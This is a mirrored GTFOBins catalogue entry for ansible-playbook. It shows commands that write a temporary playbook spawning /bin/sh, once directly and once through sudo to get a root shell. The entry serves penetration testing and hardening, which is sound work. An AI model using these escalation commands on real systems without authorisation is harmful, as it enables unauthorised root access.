mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
14 lines
363 B
Markdown
14 lines
363 B
Markdown
|
---
|
||
|
functions:
|
||
|
shell:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
|
||
|
ansible-playbook $TF
|
||
|
sudo:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
|
||
|
sudo ansible-playbook $TF
|
||
|
---
|